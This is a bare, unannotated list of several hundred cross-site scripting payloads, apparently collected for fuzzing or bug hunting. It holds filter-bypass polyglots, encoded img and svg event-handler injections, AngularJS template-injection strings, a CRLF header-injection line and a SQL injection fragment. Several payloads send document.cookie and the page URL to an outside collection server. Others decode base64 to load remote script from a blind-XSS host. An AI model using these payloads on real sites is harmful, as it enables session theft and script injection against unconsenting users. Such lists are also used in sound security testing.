#jaVasCript:/*-/*/*\/*'/*\"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert()//>\\x3e
#jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert()//>\\x3e
<!--jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e-->
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
jaVasCript:\/*-\/*`\/*\\`\/*\'\/*\"\/**\/(\/* *\/oNcliCk=alert() )\/\/%0D%0A%0D%0A\/\/<\/stYle\/<\/titLe\/<\/teXtarEa\/<\/scRipt\/--!>\\x3csVg\/<sVg\/oNloAd=alert()\/\/>\\x3e
jaVasCript:\\\/*-\\\/*`\\\/*\\\\`\\\/*\\\'\\\/*\\\"\\\/**\\\/(\\\/* *\\\/oNcliCk=alert() )\\\/\\\/%0D%0A%0D%0A\\\/\\\/<\\\/stYle\\\/<\\\/titLe\\\/<\\\/teXtarEa\\\/<\\\/scRipt\\\/--!>\\\\x3csVg\\\/<sVg\\\/oNloAd=alert()\\\/\\\/>\\\\x3e
jaVasCript:\\\\\\\/*-\\\\\\\/*`\\\\\\\/*\\\\\\\\`\\\\\\\/*\\\\\\\'\\\\\\\/*\\\\\\\"\\\\\\\/**\\\\\\\/(\\\\\\\/* *\\\\\\\/oNcliCk=alert() )\\\\\\\/\\\\\\\/%0D%0A%0D%0A\\\\\\\/\\\\\\\/<\\\\\\\/stYle\\\\\\\/<\\\\\\\/titLe\\\\\\\/<\\\\\\\/teXtarEa\\\\\\\/<\\\\\\\/scRipt\\\\\\\/--!>\\\\\\\\x3csVg\\\\\\\/<sVg\\\\\\\/oNloAd=alert()\\\\\\\/\\\\\\\/>\\\\\\\\x3e
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
jaVasCript:/*`/*\`/*'/*\"//"/**/(onload=alert())//<svg/onload=alert()><frame/onload=alert()></select></noscript></noembed></template></stYle/</titLe/</teXtarEa/</script/--><sVg/oNloAd= alert()//>
javascript:prompt(1)#{"action":1}
"javascript:prompt(/compaXSS/.source);var x = prompt;x(0);x(/XSS/.source);x"
'JaVaScRiPt:prompt'+document.location.hash[1]+'45'+document.location.hash[2]
/"/_javascript:prompt(/xss/.source);var x = prompt;x(0);x(/XSS/.source);x
javascript:prompt(/XSS/.source);var x = prompt;x(0);x(/XSS/.source);x
javascript:/*"/*`/*'/*\"/*</script></style></template></select></title></textarea></noscript></noembed><frame/onload=alert()--><<svg/*/ onload=alert()//>
javascript:/*--></script></textarea></style></noscript>\"</noembed>[`</template>["</select>['</title>]<<script>///<frame */ onload=alert()//<</script>
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript:/*"//'//`//\"//--></script></title></style></textarea></template></noembed></noscript><script>//<frame/<svg/*/onload= alert()//</script> 
javascript:/*-- >]]>%>?></script></title></textarea></noscript></style></xmp>">[img=1,name=/alert(1)/.source]<img - /style=a:expression&#40&#47&#42'/- /*&#39,/**/eval(name)/*%2A///*///&#41;;width:100%;height:100%;position:absolute;-ms-behavior:url(#default#time2) name=alert(1)onerror=eval(name) src=1 autofocus onfocus=eval(name)onclick=eval(name) onmouseover=eval(name) onbegin=eval(name)background=javascript:eval(name)//>"
javascript:/*"/*'/*`/*\"/*</script/</title/</textarea/</style/</noscript></template></noembed>--><script>/*<svg <frame */ onload=alert()//</script> 
javascript:/*`//'//\"//</style></noscript></script>--></textarea></noembed></template></title><script>/<frame <svg"///*/ onload=alert()//</script> 
javascript:"/*`/*\"/*'/*</stYle/</titLe/</teXtarEa/</nOscript></noembed></template></script/--><ScRipt>/*<i<frame/*/ onload=alert()//</Script> 
javascript:"/*`/*\"/*' /*</stYle/</titLe/</teXtarEa/</nOscript></Script></noembed></select></template><FRAME/onload=/**/alert()//--><<sVg/onload=alert``> 
javascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
javascript:`</template>\"///"//</script/--></title/'</style/</textarea/</noembed/</noscript><<script/>/<frame */; onload=alert()//<</script>`
javascript:`</template>\"///"//</script/--></title/'</style/</textarea/</noembed/</noscript><<script/>/<frame */; onload=alert()//<</script>` 
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
javascript:"/*'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/<i<frame */ onload=alert()//</script>
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript:/*"/*'/*\"/*`/*--></title></noembed></template></textarea></noscript></style></script><script>//<frame <svg */ onload=alert()//</script> 
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript:/*"/*`/*'/*\"/*--></title></script></textarea></noscript></style></noembed></template><script> /*<svg <frame onload=/**/alert()//</script>
javascript:/*--></title></style></template></noscript></noembed></textarea></script><svg/onload='+/"/+/onclick=1/+/[*/[]/+alert()//'>"><svg/onload=`+/"/+/onclick=/+/[*/[]/+alert()//'>"><script>alert()</script><frame src="javascript:alert()"></frameset>+\"; alert()//<img src onerror=alert()>
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/-->&lt;svg/onload=/*<html/*/onmouseover=alert()//>javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>-->&lt;svg onload=/*<html/*/onmouseover=alert()//>
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//> 
javascript:`/*</title></style></textarea></noscript></script></noembed></template></select/"/'/*--><frame onload=alert()><svg/\"/*<svg onload=' /**/-alert()//'>javascript:/*`/*\"/*'/*</noembed>"/*<frame src=javascript:/**/;alert()//--></title></textarea></style></noscript></template></select></script><<svg/onload= alert()//>
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'/</title></style></textarea></script>--><p" %0A onclick=alert()//>*/alert()/*
`javascript://'/</title></style></textarea></script>--><p" %0D %0A onclick=alert(123)//>/alert()/
javascript://'/</title></style></textarea></script>--><p" %0D %0A onclick=alert(123)//>*/alert()/*
javascript://'/</title></style></textarea></script>--><p" %0D %0A onclick=alert(123)//>*/alert()/*<img src=x onerror=alert(456)/><svg/onload=prompt(789)/>;'"// :;fn();%0a%0d\n\r\t{{12*12+'Audi RS5'.substr(0,4)}}XXX<script>alert('XSS')
javascript://'/</title></style></textarea></script>--><p" %0D %0A onclick=alert(123)//>*/alert()/*<img src=x onerror=alert(456)/><svg/onload=prompt(789)/>;'"// :;fn();%0a%0d\n\r\t{{12*12+'Audi RS5'.substr(0,4)}}XXX<script>alert('XSS')<img src=x onerror='(function s(){var i=new Image();i.src='http://bl4de.tech/bxss.php?c='+document.cookie+';'+encodeURIComponent(location.href);document.body.append(i)})()'/>#jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert()//>\\x3e
javascript://'/</title></style></textarea></script>--><p%22%20%0D%20%0A%20onclick%3Dalert(123)%2F%2F%3E*%2Falert()%2F*%3Cimg%20src%3Dx%20onerror%3Dalert(456)%2F%3E%3Csvg%2Fonload%3Dprompt(789)%2F%3E%3B'%22%2F%2F%20%3A%3Bfn()%3B%0A%0D%0A%0D%0A%0D%0A%09{{12*12+'Audi%20RS5'.substr(0,4)}}XXX%3Cscript%3Ealert('XSS')
javascript:\/\/\'\/<\/title><\/style><\/textarea><\/script>--><p%22%20%0D%20%0A%20onclick%3Dalert(123)%2F%2F%3E*%2Falert()%2F*%3Cimg%20src%3Dx%20onerror%3Dalert(456)%2F%3E%3Csvg%2Fonload%3Dprompt(789)%2F%3E%3B\'%22%2F%2F%20%3A%3Bfn()%3B%0A%0D%0A%0D%0A%0D%0A%09{{12*12+\'Audi%20RS5\'.substr(0,4)}}XXX%3Cscript%3Ealert(\'XSS\')
javascript:\\\/\\\/\\\'\\\/<\\\/title><\\\/style><\\\/textarea><\\\/script>--><p%22%20%0D%20%0A%20onclick%3Dalert(123)%2F%2F%3E*%2Falert()%2F*%3Cimg%20src%3Dx%20onerror%3Dalert(456)%2F%3E%3Csvg%2Fonload%3Dprompt(789)%2F%3E%3B\\\'%22%2F%2F%20%3A%3Bfn()%3B%0A%0D%0A%0D%0A%0D%0A%09{{12*12+\\\'Audi%20RS5\\\'.substr(0,4)}}XXX%3Cscript%3Ealert(\\\'XSS\\\')
javascript:\\\\\\\/\\\\\\\/\\\\\\\'\\\\\\\/<\\\\\\\/title><\\\\\\\/style><\\\\\\\/textarea><\\\\\\\/script>--><p%22%20%0D%20%0A%20onclick%3Dalert(123)%2F%2F%3E*%2Falert()%2F*%3Cimg%20src%3Dx%20onerror%3Dalert(456)%2F%3E%3Csvg%2Fonload%3Dprompt(789)%2F%3E%3B\\\\\\\'%22%2F%2F%20%3A%3Bfn()%3B%0A%0D%0A%0D%0A%0D%0A%09{{12*12+\\\\\\\'Audi%20RS5\\\\\\\'.substr(0,4)}}XXX%3Cscript%3Ealert(\\\\\\\'XSS\\\\\\\')
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
jaVasCript:/--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[/[]/+alert(1)//'>
javascript:"/*'//`//\"//</title></template/</textarea/</style/</noscript/</noembed/</script>--><<script>alert()<</script><frame/*/ onload=alert()//>
javascript:/*"/*`/*'/*\"/*--></title></textarea></noscript></noembed></template></style></script><<script> /**/alert()//<</script><frame onload=alert()>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template>&lt;svg/onload='/*--><html */ onmouseover=alert()//'>`
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>` 
javascript:/*-->'//"//`//\"//</title></textarea></style></noscript></script></noembed></template><script>/*<frame/<svg */ onload=alert()//</script> 
javascript:"/*\"/*'/*--></title></textarea></style></noscript></template></noembed></script><<script>/*` /*<frame src=javascript:/**/alert()//><</script>
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
<Img Src=OnXSS OnError=confirm(1)>
<Img Src=OnXSS OnError=confirm(document.cookie)>
<Img Src=OnXSS OnError=prompt(document.cookie)>
"'><img src=q onerror=alert(1)>
<img/src=q onerror='new Function`al\ert\`1\``'>
<img src =q onerror=prompt(8)>
<img src=something onauxclick="new Function `al\ert\`xss\``">
<img src='test' onmouseover='alert(2)'>
"><img src="/" =_=" title="onerror='prompt(1)'">
<img src="/" =_=" title="onerror='prompt(1)'">
<img src=validimage.png onloadstart=alert(1)>
<IMG SRC='vbscript:msgbox("XSS")'>
`"'><img src='#\x27 onerror=javascript:alert(1)>
"><img src=x\%28\%29\ onerror=prompt(document.domain);>
<img src="x:%90" title="onerror=alert(1)//">
"><img src=x&#9;onerror=prompt(document.domain);>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img src=x:alert(alt) onerror=eval(src) alt='spyerror'>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
<img/src=x alt=confirm(1) onmouseover=eval(alt)>
"><img src=x alt=x onerror=prompt(document.domain);>
<img src="x:gif" onerror="window['al\u0065rt'](0)"></img>
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veTEueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw&#61;&#61; onerror=eval(atob(this.id))>"><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veTEueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw&#61;&#61;>
"><img src=x id="img"> <script>document.getElementById('img').addEventListener('error', function(){prompt(document.domain);})</script>
"><img src=x id=img> <script>document.getElementById('img').addEventListener('error',function(){prompt(document.domain);})</script>
"><img src=x><img src= onerror=prompt(document.domain);>
"><img src=x onafterprint=prompt(document.domain);>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
"><img/src=x/onerro=6><img/src="1"/onerror=alert(1);>
"><img/src=x/onerro=6><img/src="1"/onerror=alert(1);>?test=test
<img/src=x/onerro=6><img/src="1"/onerror=alert(1);>?test=test
"><img/src=x/onerro=6><img/src="1"/onerror=import(location.search.split("aa=").pop());>
`'";//><img/src=x onError="${x};alert(`1`);">
<img/src=x onError="`${x}`;alert(`Ex.Mi`);">
<img/src=x onError="`${x}`;alert(`XSS`);">
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
<img src=x onerror="a='',b=!a+a,aa=!b+a,ab=a+{},ba=b[a++],bb=b[baa=a],bab=++baa+a,aaa=ab[baa+bab],b[aaa+=ab[a]+(b.aa+ab)[a]+aa[bab]+ba+bb+b[baa]+aaa+ba+ab[a]+bb][aaa](aa[a]+aa[baa]+b[bab]+bb+ba+'(a)')()">
"><img src=x onerrora=confirm() onerror=confirm(1)>
"><img src=x onerror=alert(1);>
"><img+src=x+onerror=alert(1)>
<img src="x" onerror="alert(1)">
<img src='x' onerror='alert(1)'>
<img src=x onerror=alert(123) />
"><img src="x" onerror=alert(1337) />
"/><iMg SrC="x" oNeRRor="alert(document.cookie);">
"><img src=x onerror='alert(document.domain)'>
'"/><img src= x onerror='alert(document.domain)'>
<img src=x onerror=alert(document.domain)>
<img src=x onerror=alert(“falcon”)>
<img src=x onerror=alert('from\u0020subcat\u0020title')>
<img src=x onerror="alert(origin)">
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
"><img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert('XSS');>
<img/src="x"/onerror="[boom]">
"\"><img src=\"x\" onerror=\"confirm(0)\"/>",
><imgsrc=x onerror=confirm.onerror=confirm(1)>
"><img src=x onerror=confirm('x') />]
"><img src="x" onerror="document.write(document.write(eval(atob('JzxpZnJhbWUgc3JjPSJodHRwczovL2Nvay5raW0vP2VtYWlsPScrZG9jdW1lbnQudGl0bGUrJyIgc3R5bGU9ImJvcmRlcjogMDsgcG9zaXRpb246Zml4ZWQ7IHRvcDowOyBsZWZ0OjA7IHJpZ2h0OjA7IGJvdHRvbTowOyB3aWR0aDoxMDAlOyBoZWlnaHQ6MTAwJSI+Jw==')))" >
<img src=x onerror="eval('\141lert(1)')"/>
"><img src=x onerror=eval('prompt(document.domain)')>
<img src=x onerror="eval('\x61lert(1)')"/>
<img src=x onError=import('//1152848220/')>
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<img src=x onerror="js:abc='al'+'ert()';eval(abc)" />
<img src=x onerror=location=atob`amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5kb21haW4p`>
<img src=x onerror=print()>
<img src=x onerror=prompt()>
“><iMg SrC=x onError​=prompt()>
"><img src=x onerror=prompt(1);>
<img src=x onerror="prompt(1)">aaaaaaaaaaaa
"><img src=x onerror=prompt(document%2Edomain);>
"><img src=x onerror=prompt(document&#46;domain);>
"><img src=x onerror=prompt(document.cookie);>
"><img src:x onerror=prompt(document.domain);>
"><img src="x" onerror="prompt(document.domain);">
"><img src='x' onerror='prompt(document.domain);'>
"><img src=/x onerror=prompt(document.domain);>
"><img src=x   onerror=prompt(document.domain);>
"><img src=x onerror="prompt(document.domain);">
"><img src=x onerror=(prompt(document.domain));>
"><img src=x onerror=prompt('document.domain');>
"><img src=x onerror=prompt(document.domain);<<
"><img src=x onerror=prompt(document.domain);>
"><img src=x onerror=prompt(document['domain']);>
"><img\ src=x\ onerror=prompt(document.domain);>
">\<img src=x onerror=prompt(document.domain);\>\;\>\<\>"
#"><img src=x onerror=prompt(document.domain);>
'--><img src=x onerror=prompt(document.domain);><!--
\"><img src=x onerror=prompt(document.domain);>
"><img src=x ONERROR=prompt(document.domain);>
"><IMG SRC=x ONERROR=prompt(document.domain);>
"><img src=x onerror=prompt('document.domain');>.asp
"><img src=x onerror=prompt(document['domain']);>.asp
"><img src=x onerror=prompt('document.domain');>.aspx
"><img src=x onerror=prompt(document['domain']);>.aspx
"><img src=x onerror=prompt('document.domain');>.htm
"><img src=x onerror=prompt(document['domain']);>.htm
"><img src=x onerror=prompt('document.domain');>.html
"><img src=x onerror=prompt(document['domain']);>.html
"><img src=x onerror=prompt('document.domain');>.php
"><img src=x onerror=prompt(document['domain']);>.php
"><img src=x onerror=prompt(document.domain);String.fromCharCode(62);">
"><img src=x onerror=prompt(document.domain); title=x>
"><img src=x onerror=prompt(String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 100, 111, 109, 97, 105, 110));>
"><img src=x onerror=prompt(unescape('document%2Edomain'));>
"><img src=x onerror=prompt&#x000000028;document&#x00000002E;domain&#x000000029;&#x00000003B;>
'"/><img src= x onerror=prompt(/xss/)>
"\">" + "<img src=x onerror=prompt('XSS')>" + "\""
<img/src="x"/onerror="prom\u0070t&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;">
>'"><img src=x onerror=script(2);>
"><img src=x onerror=this.innerHTML=''><script>alert(document.domain)</script>">
<img src=x onerror="\u0061lert(1)"/>
#<img src=x onerror=URL='javascript:confirm(1)'>
<img src=x onerror=URL='javascript:confirm(1)'>
"><img src=x onerror=window.open('https://www.google.com/');>
><img src=x onmouseleave=print()>
?><img src=x onmouseleave=print()>
"><img src=x onmouseover=prompt(\u0064ocument.domain);>
<img/src=xon=()onx+honerror=alert(1)>ss<svg/onload=prompt(document.domain)%20>
<img+src=x+on<!--ram-->error=ale<!--ram-->rt(1)>
<IMG SRC="('XSS')"
"/>"/><img src=xss onerror=alert(2)>
<img/src="xss.png"alt="xss">
"><img src=x style=content:'x' onerror=prompt(document.domain);>
"><img src="x:x" onerror="alert(XSS)">
<img src=xx: onerror=confirm(document.location)>
<img src=`xx:xx`onerror=alert(1)>
--><!-- ---> <img src=xxx:x onerror=javascript:alert(1)> -->
`"'><img src=xxx:x onerror\x09=javascript:alert(1)>
`"'><img src=xxx:x onerror\x0C=javascript:alert(1)>
`"'><img src=xxx:x \x0Aonerror=javascript:alert(1)>
""><img src=y onerror=confirm(1)>
#""><img src=y onerror=confirm(1)>
/"><img src=y onerror=confirm(1)>
<IMG SRC=�jav ascript:alert(�XSS�);�>
<IMG SRC=�jav&#x09;ascript:alert(�XSS�);�>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<IMG STYLE="xss:expr/*XSS*/ession(javascript:alert(1))">
<img usemap=#x><map name="x"><area href onfocus=alert(1) id=x>
<img \x00src=x onerror="alert(1)">
"><img&#x20;src=x&#x20;onerror=prompt('XSS')>"
%3C%25%69%6D%67%20%73%72%63%3D%78%20%6F%6E%65%72%72%6F%72%3D%70%72%6F%6D%70%74%28%64%6F%63%75%6D%65%6E%74%2E%64%6F%6D%61%69%6E%29%3B%3E
%3C%2Fscript%3E%3Cscript%3Econfirm%28document.domain%29%3C%2Fscript%3E
%3C%5K/onpointerenter=alert(1)>
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%48%69%22%29%3b%3c%2f%73%63%7
#%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
%3Cbody%20onload%3D%60alert%28%2FXSS%2F%29%60%3E%3C%2Fbody%3E
%3Cbody%20onload%3D%60alert%28%60XSS%60%29%60%3E
%3Cbutton%20onclick%3D%60alert%28%2FXSS%2F%29%60%3EClick%20me%3C%2Fbutton%3E
%3Cbutton%20onclick%3D%60alert%28%60XSS%60%29%60%3EClick%3C%2Fbutton%3E
%3Cdiv%20style%3D%22width%3A%20expression%28alert%28%2FXSS%2F%29%29%3B%22%3E%3C%2Fdiv%3E
%3Cembed%20src%3D%60javascript%3Aalert%28%60XSS%60%29%60%3E
%3Cform%20action%3D%22javascript%3Aalert%28%2FXSS%2F%29%22%3E%3Cinput%20type%3Dsubmit%3E%3C%2Fform%3E
%3Cform%20action%3D%60javascript%3Aalert%28%60XSS%60%29%60%3E%3Cinput%20type%3Dsubmit%3E%3C%2Fform%3E
%3Chtml%0aonmouseOver%0a=%0a(prompt)``//
%3Ciframe%20src%3D%60javascript%3Aalert%28%60XSS%60%29%60%3E%3C%2Fiframe%3E
"/>%3ciframe%20src%3djavascript%3aalert%283%29%3e
%3Ciframe%20srcdoc%3D%60%3Cscript%3Ealert%28%2FXSS%2F%29%3B%3C%2Fscript%3E%60%3E%3C%2Fiframe%3E
%3Ciframe%20srcdoc%3D%60%3Cscript%3Ealert%28%60XSS%60%29%3C%2Fscript%3E%60%3E%3C%2Fiframe%3E
%3Cimg%20src%3D1%20onerror%3Dalert%281%29%3E
%3Cimg%20src%3Dx%20onerror%3D%60alert%28%2FXSS%2F%29%60%3E
%3Cimg%20src%3Dx%20onerror%3D%60alert%28%60XSS%60%29%60%3E
%3Cimg%20src=x%20onerror=alert(1)%3E
%3Cimg%20src=xx%20onerror=alert(1)%3E
%3cimg onerror=alert(1) src=a%3e
%3Cimg src='null' onerror=alert('spyerror')%3E
%3Cinput%20onfocus%3D%60alert%28%60XSS%60%29%60%3E
%3Cinput%20type%3D%22text%22%20value%3D%22%3Cscript%3Ealert%28%2FXSS%2F%29%3C%2Fscript%3E%22%3E
%3Cinput+onfocus%3d%27/*=*/Function(%22ale%22%2b%22rt(document.domain)%22)();//%27autofocus+
%3Cmeta%20http-equiv%3D%22refresh%22%20content%3D%220%3Burl%3Djavascript%3Aalert%28%2FXSS%2F%29%22%3E
%3Cobject%20data%3D%60javascript%3Aalert%28%60XSS%60%29%60%3E%3C%2Fobject%3E
%3Cscript%0Baaa%3Ealert%281%29%3C/script%3E
%3Cscript%0Caaaaa%3Ealert%28123%29%3C/script%0Caaaaa%3E
%3C/script%3E%3Cimg%20src%3D1%20onerror%3Dalert(/xss/)
%3Cscript%3E%60alert%60%28%2FXSS%2F%29%3B%3C%2Fscript%3E
3Cscript%3Ealert(1)%3C%2Fscript%3E
3Cscript%3Ealert(1)%3C%2Fscript%3E##1
%3cscript%3ealert(1)%3c/script>
%3Cscript%3Ealert(1)%3C/script%00TESTTEST%3E
%3cscript%3ealert(1)%3c/script%3e
%3Cscript%3Ealert(1)%3C/script%3E
%3Cscript%3Ealert(1)%3C/script%3E##1
%3cscript%3ealert%281%29%3b%3c%2fscript%3e
%3Cscript%3Ealert%28%22XSS%22%29%3B%3C%2fscript%3E
%3cscript%3ealert()%3c/script>
%3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E
#%3Cscript%3Ealert('XSS')%3C%2Fscript%3E
%3Cscript%3Ealert(`xss`)%3C/script%3E
%3Cscript%3Ealert('XSS')%3C/script%3E
%3Cscript%3Efor((TESTXSS)in(self))eval(TESTXSS)(`${`TESTXSS`}`)%3C/script%3E
%3Csvg%20onload%3D%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%28%26%231%3B%29%3E	
%3Csvg%20onload%3D%60alert%28%2FXSS%2F%29%60%3E%3C%2Fsvg%3E
%3Csvg%20onload%3D%60alert%28%60XSS%60%29%60%3E
%3Csvg%20onload=alert(1)%3E
%3Csvg%2Fonload%3D'alert%26%2340%2023%20%26%2341'%3E	
%3Csvg%2Fonload%3Dalert%28%22XSS%22%29%20%3E
%3Csvg%2Fonload%3Dalert%28%22XSS%22%29%20%3E, <svg/onload=alert("XSS") >
%3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F
%3csvg/onload=window%5b%22al%22+%22ert%22%5d1337`%3e
%3csvg/onload=window%5b"al"+"ert"%5d`1337`%3e
%3CSVG/oNlY=1%20ONlOAD=confirm(document.domain)%3E
%3Cx/Onpointerrawupdate=confirm%26lpar;)%3Exxxxx
%3E%3Cbody%20onload=javascript:alert(1)%3E
'%3e%3cscript%3ealert(5*5)%3c%2fscript%3eejj4sbx5w4o
"%3E<img src=x onerror=prompt(document.domain);%3E"
%3E'><script>alert(2);</script>
%3F%20<body onload=alert("bingo")>
%3F%20<img src=1 onerror=alert(1)>
%3F%20<img/src/onerror=alert(coffinxp`)>
%3F%20"><img src=q onerror=alert(1)>
%3F%20"><img src=x onerror=prompt(document.domain);>
%3F%20javascript:alert(1)
%3F%20<script>alert(1)</script>
%3F%20<script>prompt(document.domain)</script>
%3F%20"><svg onload=alert(1)>
444-555-4455 <img src=x onerror=alert(1)>
[45].some.alert()
/*!50000and*/ /*!50000extractvalue*/(0x0a,/*!50000concat(0x0a,(select JSON_OBJECT(1, current_user())))*/)
%5Cu0061%5Cu006C%5Cu0065%5Cu0072%5Cu0074%28%29
%60%2balert/**/(1)%2b%60
&#60;body onload=alert('ibrahimxss')&#62;&#34;&#34;
&#60;script&#62;alert(1)&#60;/script&#62;
&#60;svg/onload=alert(1)&#62;
6'%22()%26%25%22%3E%3Csvg/onload=prompt(1)%3E/
&#62;'&gt;"<script>alert(2);</script>
${alert(1)}`
${alert(1)}
${document.domain}`%26it;/script>'>
{{$el.innerHTML='\u003cimg src onerror=alert(1)\u003e'}}
{{$emit.constructor`alert(1)`()}}
{{$eval.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}
{{$on.constructor('alert("CodePrefer")')()}}
$("script(2)")
$ <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=? ------
%00%00%00%00%00%00%00<script>alert(1)</script>
&#00039-alert(1)-&#00039
'<00 foo="<a%20href="javascript:alert('XSS-Bypass')">XSS-CLick</00>--%20/
&#00;</form><input type&#61;"date" onfocus="alert(1)">
<[%00]img onerror=alert(1) src=a>
%00"><img src=x onerror=alert`1`//
%00<script>alert(1);</script>
%00<script>alert(1)</script>
///%01javascript:alert(document.cookie)/
%09Jav%09ascript:alert(document.domain)
/%09/javascript:alert(1)
/%09/javascript:alert(1);
%0A%0d+select+user+from+dual+%0A%0D
%'});%0aalert(1);%20//
{{0[a='constructor'][a]('alert(1)')()}}
%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(0)
%0Ajavascript%3Ato%0ap%5B%27ale%27%2B%27rt%27%5D%28top%5B%27doc%27%2B%27ument%27%5D%5B%27dom%27%2B%27ain%27%5D%29%3B%0A/%0A/%0A
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
%0D%0A%0D%0A%3Cscript%3E%0D%0A%20alert(1);%0D%0A%3C/script%3E%0D%0A
%0d%0a%0d%0a<script>alert(document.domain)</script>
">%0D%0A%0D%0A<x '="foo"><x foo='><img src=x onerror=javascript:alert(1)//'>
">%0D%0A%0D%0A<x '="foo"><x foo='><img src=x onerror=javascript:alert(`cloudfrontbypass`)//'>
>%0D%0A%0D%0A<x '=foo"><x foo='><img src=x onerror=javascript:alert(`cloudfrontbypass`)//'>
%0d%0a%20<body onload=alert("bingo")>
%0d%0a%20<img src=1 onerror=alert(1)>
%0d%0a%20<img/src/onerror=alert(coffinxp`)>
%0d%0a%20"><img src=q onerror=alert(1)>
%0d%0a%20"><img src=x onerror=prompt(document.domain);>
%0d%0a%20javascript:alert(1)
%0d%0a%20<script>alert(1)</script>
%0d%0a%20<script>prompt(document.domain)</script>
%0d%0a%20"><svg onload=alert(1)>
%0d%0aX-XSS-Protection:0%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Chtml%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E%3C%21--
<!--*/!'*/!>%0D<svg/onload=confirm'1'//
_0x68087f:alert(0x1);
0xd3adc0de&lt;ScRiPt&gt;alert('XSS Success!')&lt;/sCripT&gt;
0xd3adc0de<ScRiPt>alert('XSS Success!')</sCripT>
')}, 1000); alert('xss')://
')}, 1000);alert("xss");//
10</option></select><img/src=xon=()onx+honerror=alert(1)>ss<svg/onload=prompt(document.domain)%20>
11111';\u006F\u006E\u0065rror=\u0063onfirm; throw'1
1%22onfocus=%27window.alert%28document.cookie%29%27%20autofocus=
123456%22/%3E%3Cmath%3E%3Carchy%20href=Ja%26Tab;vascript%26colon;console.error(1)%3EARCHY%3C/archy%3E%3C/math%3E%3C!--
123')});alert(1);(()=>{('
12&<script>alert(123)</script>=123
1337 '><marquee onstart="[cookie].find(confirm)">
